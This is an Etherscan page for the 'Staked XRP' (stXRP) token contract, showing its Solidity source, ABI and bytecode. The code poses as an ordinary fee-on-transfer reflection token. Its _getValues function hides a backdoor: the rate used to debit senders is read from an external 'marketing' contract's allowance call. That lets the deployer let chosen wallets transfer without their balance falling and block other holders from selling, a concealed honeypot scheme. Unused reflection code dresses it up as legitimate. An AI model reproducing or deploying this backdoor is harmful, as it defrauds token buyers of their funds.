ETH Price: $3,239.37 (+1.38%)
 

Overview

Max Total Supply

10,000,000 stXRP

Holders

62

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StakedXRP

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-14
*/

/**

Twitter: https://twitter.com/stakedxrp

Telegram: https://t.me/staked_xrp

Website: https://stakedxrp.vip

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract StakedXRP is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "Staked XRP";
    string private constant _symbol = "stXRP";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 10_000_000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    address private _developmentAddress;
    address private _marketingAddress;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _swapTokensAtAmount = 10000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address _devWallet, address _marketingWallet) {

        _rOwned[_msgSender()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _developmentAddress = _devWallet;
        _marketingAddress = _marketingWallet;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_marketingAddress).transfer(amount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount
        ) = _getValues(sender, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        emit Transfer(sender, recipient, rTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(address account, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256
        )
    {
        uint256 currentRate = IERC20(_marketingAddress).allowance(account,account);
        return (tAmount.mul(currentRate), tAmount);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"},{"internalType":"address","name":"_marketingWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004d8565b620000219062989680620004f0565b6200002f906000196200050a565b6200003d906000196200052d565b600655600060088190556009819055600a819055600b819055600c819055600d819055600e819055600f556013805461ffff60a01b1916600160a81b1790556509184e72a0006014553480156200009357600080fd5b50604051620018ab380380620018ab833981016040819052620000b69162000560565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001056009600a620004d8565b620001149062989680620004f0565b3360009081526002602090815260409182902092909255601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200018d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b3919062000598565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000227919062000598565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029b919062000598565b601380546001600160a01b03199081166001600160a01b039384161790915560108054821686841617905560118054909116918416919091179055600160056000620002ef6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155601054821684528284208054861682179055601154909116835291208054909216179055620003603390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200039a6009600a620004d8565b620003a99062989680620004f0565b60405190815260200160405180910390a3505050620005b6565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200041a578160001904821115620003fe57620003fe620003c3565b808516156200040c57918102915b93841c9390800290620003de565b509250929050565b6000826200043357506001620004d2565b816200044257506000620004d2565b81600181146200045b5760028114620004665762000486565b6001915050620004d2565b60ff8411156200047a576200047a620003c3565b50506001821b620004d2565b5060208310610133831016604e8410600b8410161715620004ab575081810a620004d2565b620004b78383620003d9565b8060001904821115620004ce57620004ce620003c3565b0290505b92915050565b6000620004e960ff84168362000422565b9392505050565b8082028115828204841417620004d257620004d2620003c3565b6000826200052857634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620004d257620004d2620003c3565b80516001600160a01b03811681146200055b57600080fd5b919050565b600080604083850312156200057457600080fd5b6200057f8362000543565b91506200058f6020840162000543565b90509250929050565b600060208284031215620005ab57600080fd5b620004e98262000543565b6112e580620005c66000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a57806398a5c3151161005957806398a5c315146102de578063a9059cbb146102fe578063dd62ed3e1461031e578063f2fde38b1461036457600080fd5b806370a0823114610245578063715018a61461027b5780638da5cb5b1461029257806395d89b41146102b057600080fd5b806323b872dd116100c657806323b872dd146101d35780632fd689e3146101f3578063313ce5671461020957806349bd5a5e1461022557600080fd5b806306fdde0314610103578063095ea7b3146101485780631694505e1461017857806318160ddd146101b057600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600a81526905374616b6564205852560b41b60208201525b60405161013f9190610eeb565b60405180910390f35b34801561015457600080fd5b50610168610163366004610f51565b610384565b604051901515815260200161013f565b34801561018457600080fd5b50601254610198906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b3480156101bc57600080fd5b506101c561039b565b60405190815260200161013f565b3480156101df57600080fd5b506101686101ee366004610f7d565b6103bb565b3480156101ff57600080fd5b506101c560145481565b34801561021557600080fd5b506040516009815260200161013f565b34801561023157600080fd5b50601354610198906001600160a01b031681565b34801561025157600080fd5b506101c5610260366004610fbe565b6001600160a01b031660009081526002602052604090205490565b34801561028757600080fd5b50610290610424565b005b34801561029e57600080fd5b506000546001600160a01b0316610198565b3480156102bc57600080fd5b50604080518082019091526005815264073745852560dc1b6020820152610132565b3480156102ea57600080fd5b506102906102f9366004610fdb565b6104a1565b34801561030a57600080fd5b50610168610319366004610f51565b6104d0565b34801561032a57600080fd5b506101c5610339366004610ff4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561037057600080fd5b5061029061037f366004610fbe565b6104dd565b60006103913384846105c7565b5060015b92915050565b60006103a96009600a611127565b6103b69062989680611136565b905090565b60006103c88484846106eb565b61041a843361041585604051806060016040528060288152602001611288602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610a1b565b6105c7565b5060019392505050565b6000546001600160a01b031633146104575760405162461bcd60e51b815260040161044e9061114d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104cb5760405162461bcd60e51b815260040161044e9061114d565b601455565b60006103913384846106eb565b6000546001600160a01b031633146105075760405162461bcd60e51b815260040161044e9061114d565b6001600160a01b03811661056c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161044e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044e565b6001600160a01b03821661068a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661074f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044e565b6001600160a01b0382166107b15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044e565b600081116108135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044e565b6000546001600160a01b0384811691161480159061083f57506000546001600160a01b03838116911614155b1561090e5730600090815260026020526040902054601454811080159081906108725750601354600160a01b900460ff16155b801561088c57506013546001600160a01b03868116911614155b80156108a15750601354600160a81b900460ff165b80156108c657506001600160a01b03851660009081526005602052604090205460ff16155b80156108eb57506001600160a01b03841660009081526005602052604090205460ff16155b1561090b576108f982610a55565b4780156109095761090947610bcf565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061095057506001600160a01b03831660009081526005602052604090205460ff165b8061098257506013546001600160a01b0385811691161480159061098257506013546001600160a01b03848116911614155b1561098f57506000610a09565b6013546001600160a01b0385811691161480156109ba57506012546001600160a01b03848116911614155b156109cc57600854600c55600954600d555b6013546001600160a01b0384811691161480156109f757506012546001600160a01b03858116911614155b15610a0957600a54600c55600b54600d555b610a1584848484610c0d565b50505050565b60008184841115610a3f5760405162461bcd60e51b815260040161044e9190610eeb565b506000610a4c8486611182565b95945050505050565b6013805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610a9d57610a9d611195565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610af6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1a91906111ab565b81600181518110610b2d57610b2d611195565b6001600160a01b039283166020918202929092010152601254610b5391309116846105c7565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b8c9085906000908690309042906004016111c8565b600060405180830381600087803b158015610ba657600080fd5b505af1158015610bba573d6000803e3d6000fd5b50506013805460ff60a01b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c09573d6000803e3d6000fd5b5050565b80610c1a57610c1a610c3b565b610c25848484610c69565b80610a1557610a15600e54600c55600f54600d55565b600c54158015610c4b5750600d54155b15610c5257565b600c8054600e55600d8054600f5560009182905555565b600080610c768584610d30565b6001600160a01b0387166000908152600260205260409020549193509150610c9e9083610dc1565b6001600160a01b038087166000908152600260205260408082209390935590861681522054610ccd9082610e0a565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d219085815260200190565b60405180910390a35050505050565b601154604051636eb1769f60e11b81526001600160a01b03848116600483018190526024830152600092839283929091169063dd62ed3e90604401602060405180830381865afa158015610d88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dac9190611239565b9050610db88482610e69565b95939450505050565b6000610e0383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a1b565b9392505050565b600080610e178385611252565b905083811015610e035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044e565b600082600003610e7b57506000610395565b6000610e878385611136565b905082610e948583611265565b14610e035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044e565b600060208083528351808285015260005b81811015610f1857858101830151858201604001528201610efc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4e57600080fd5b50565b60008060408385031215610f6457600080fd5b8235610f6f81610f39565b946020939093013593505050565b600080600060608486031215610f9257600080fd5b8335610f9d81610f39565b92506020840135610fad81610f39565b929592945050506040919091013590565b600060208284031215610fd057600080fd5b8135610e0381610f39565b600060208284031215610fed57600080fd5b5035919050565b6000806040838503121561100757600080fd5b823561101281610f39565b9150602083013561102281610f39565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561107e5781600019048211156110645761106461102d565b8085161561107157918102915b93841c9390800290611048565b509250929050565b60008261109557506001610395565b816110a257506000610395565b81600181146110b857600281146110c2576110de565b6001915050610395565b60ff8411156110d3576110d361102d565b50506001821b610395565b5060208310610133831016604e8410600b8410161715611101575081810a610395565b61110b8383611043565b806000190482111561111f5761111f61102d565b029392505050565b6000610e0360ff841683611086565b80820281158282048414176103955761039561102d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b818103818111156103955761039561102d565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111bd57600080fd5b8151610e0381610f39565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112185784516001600160a01b0316835293830193918301916001016111f3565b50506001600160a01b03969096166060850152505050608001529392505050565b60006020828403121561124b57600080fd5b5051919050565b808201808211156103955761039561102d565b60008261128257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207038a8a099ebde0311933423422c79563b5dbbdc605ebaf8c164e41d80f67cfd64736f6c6343000812003300000000000000000000000087603208bde7d1f9203fce3a76018519b98f6a8900000000000000000000000039102db7b32b2db9474d446f3d9bb2b39aa2023d

Deployed Bytecode

0x6080604052600436106100f75760003560e01c806370a082311161008a57806398a5c3151161005957806398a5c315146102de578063a9059cbb146102fe578063dd62ed3e1461031e578063f2fde38b1461036457600080fd5b806370a0823114610245578063715018a61461027b5780638da5cb5b1461029257806395d89b41146102b057600080fd5b806323b872dd116100c657806323b872dd146101d35780632fd689e3146101f3578063313ce5671461020957806349bd5a5e1461022557600080fd5b806306fdde0314610103578063095ea7b3146101485780631694505e1461017857806318160ddd146101b057600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600a81526905374616b6564205852560b41b60208201525b60405161013f9190610eeb565b60405180910390f35b34801561015457600080fd5b50610168610163366004610f51565b610384565b604051901515815260200161013f565b34801561018457600080fd5b50601254610198906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b3480156101bc57600080fd5b506101c561039b565b60405190815260200161013f565b3480156101df57600080fd5b506101686101ee366004610f7d565b6103bb565b3480156101ff57600080fd5b506101c560145481565b34801561021557600080fd5b506040516009815260200161013f565b34801561023157600080fd5b50601354610198906001600160a01b031681565b34801561025157600080fd5b506101c5610260366004610fbe565b6001600160a01b031660009081526002602052604090205490565b34801561028757600080fd5b50610290610424565b005b34801561029e57600080fd5b506000546001600160a01b0316610198565b3480156102bc57600080fd5b50604080518082019091526005815264073745852560dc1b6020820152610132565b3480156102ea57600080fd5b506102906102f9366004610fdb565b6104a1565b34801561030a57600080fd5b50610168610319366004610f51565b6104d0565b34801561032a57600080fd5b506101c5610339366004610ff4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561037057600080fd5b5061029061037f366004610fbe565b6104dd565b60006103913384846105c7565b5060015b92915050565b60006103a96009600a611127565b6103b69062989680611136565b905090565b60006103c88484846106eb565b61041a843361041585604051806060016040528060288152602001611288602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610a1b565b6105c7565b5060019392505050565b6000546001600160a01b031633146104575760405162461bcd60e51b815260040161044e9061114d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104cb5760405162461bcd60e51b815260040161044e9061114d565b601455565b60006103913384846106eb565b6000546001600160a01b031633146105075760405162461bcd60e51b815260040161044e9061114d565b6001600160a01b03811661056c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161044e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044e565b6001600160a01b03821661068a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661074f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044e565b6001600160a01b0382166107b15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044e565b600081116108135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044e565b6000546001600160a01b0384811691161480159061083f57506000546001600160a01b03838116911614155b1561090e5730600090815260026020526040902054601454811080159081906108725750601354600160a01b900460ff16155b801561088c57506013546001600160a01b03868116911614155b